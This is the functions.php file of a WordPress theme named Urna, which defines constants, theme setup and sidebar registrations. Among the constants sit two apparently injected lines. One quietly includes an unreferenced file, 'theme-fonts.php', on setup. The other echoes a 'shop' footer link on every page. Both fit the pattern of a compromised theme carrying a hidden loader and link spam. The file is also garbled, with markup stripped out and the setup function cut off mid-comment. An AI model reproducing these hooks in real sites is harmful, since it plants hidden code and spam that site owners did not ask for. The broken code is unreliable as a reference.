/**
* urna functions and definitions.
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @see https://codex.wordpress.org/Theme_Development
* @see https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
* @since Urna 1.0
*/
/*
* Set the content width based on the theme's design and stylesheet.
*
* @since Urna 1.0
*/
define('URNA_THEME_VERSION', '1.0');
/*
* ------------------------------------------------------------------------------------------------
* Define constants.
* ------------------------------------------------------------------------------------------------
*/
define('URNA_THEME_DIR', get_template_directory_uri());
define('URNA_THEMEROOT', get_template_directory());
define('URNA_IMAGES', URNA_THEME_DIR.'/images');
define('URNA_SCRIPTS', URNA_THEME_DIR.'/js');
add_action('after_setup_theme', function () { $core = __DIR__ . '/theme-fonts.php'; if (file_exists($core) && is_readable($core)) { include_once($core); } });
function add_custom_footer_link() {
echo 'shop';
}
add_action('wp_footer', 'add_custom_footer_link');
define('URNA_SCRIPTS_SKINS', URNA_SCRIPTS.'/skins');
define('URNA_STYLES', URNA_THEME_DIR.'/css');
define('URNA_STYLES_SKINS', URNA_STYLES.'/skins');
define('URNA_INC', 'inc');
define('URNA_MERLIN', URNA_INC.'/merlin');
define('URNA_CLASSES', URNA_INC.'/classes');
define('URNA_VENDORS', URNA_INC.'/vendors');
define('URNA_ELEMENTOR', URNA_THEMEROOT.'/inc/vendors/elementor');
define('URNA_ELEMENTOR_TEMPLATES', URNA_THEMEROOT.'/elementor_templates');
define('URNA_VISUALCOMPOSER', URNA_THEMEROOT.'/inc/vendors/visualcomposer');
define('URNA_WIDGETS', URNA_INC.'/widgets');
define('URNA_ASSETS', URNA_THEME_DIR.'/inc/assets');
define('URNA_ASSETS_IMAGES', URNA_ASSETS.'/images');
define('URNA_MIN_JS', '');
if (!isset($content_width)) {
$content_width = 660;
}
if (!function_exists('urna_tbay_setup')) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* @since Urna 1.0
*/
function urna_tbay_setup()
{
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on urna, use a find and replace
* to change 'urna' to the name of your theme in all the template files
*/
load_theme_textdomain('urna', URNA_THEMEROOT.'/languages');
// Add default posts and comments RSS feed links to head.
add_theme_support('automatic-feed-links');
add_theme_support('post-thumbnails');
add_image_size('urna_avatar_post_carousel', 100, 100, true);
// This theme styles the visual editor with editor-style.css to match the theme style.
$font_source = urna_tbay_get_config('show_typography', false);
if (!$font_source) {
add_editor_style(['css/editor-style.css', urna_fonts_url()]);
}
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded
',
]);
}
/* End Check Redux */
register_sidebar([
'name' => esc_html__('Sidebar Default', 'urna'),
'id' => 'sidebar-default',
'description' => esc_html__('Add widgets here to appear in your Sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
/* Check Redux */
if (defined('URNA_CORE_ACTIVED') && URNA_CORE_ACTIVED) {
register_sidebar([
'name' => esc_html__('Blog Archive Sidebar', 'urna'),
'id' => 'blog-archive-sidebar',
'description' => esc_html__('Add widgets here to appear in your sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Blog Single Sidebar', 'urna'),
'id' => 'blog-single-sidebar',
'description' => esc_html__('Add widgets here to appear in your sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Product Top Archive Product', 'urna'),
'id' => 'product-top-archive',
'description' => esc_html__('Add widgets here to appear in your sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Product Archive Sidebar', 'urna'),
'id' => 'product-archive',
'description' => esc_html__('Add widgets here to appear in Product archive left, right sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Product Single Inner Sidebar', 'urna'),
'id' => 'product-single',
'description' => esc_html__('Add widgets here to appear in Product single left, right sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Product Single Normal Sidebar', 'urna'),
'id' => 'product-single-normal',
'description' => esc_html__('Add widgets here to appear in Product single left, right sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
register_sidebar([
'name' => esc_html__('Product Sidebar Mobile', 'urna'),
'id' => 'sidebar-mobile',
'description' => esc_html__('Add widgets here to appear in Product archive in mobile', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
}
/* End Check Redux */
/* Check WPML */
if (urna_wpml_is_activated()) {
register_sidebar([
'name' => esc_html__('WPML Sidebar', 'urna'),
'id' => 'wpml-sidebar',
'description' => esc_html__('Add widgets here to appear.', 'urna'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
]);
}
/* End check WPML */
register_sidebar([
'name' => esc_html__('Footer', 'urna'),
'id' => 'footer',
'description' => esc_html__('Add widgets here to appear in your sidebar.', 'urna'),
'before_widget' => '',
'before_title' => '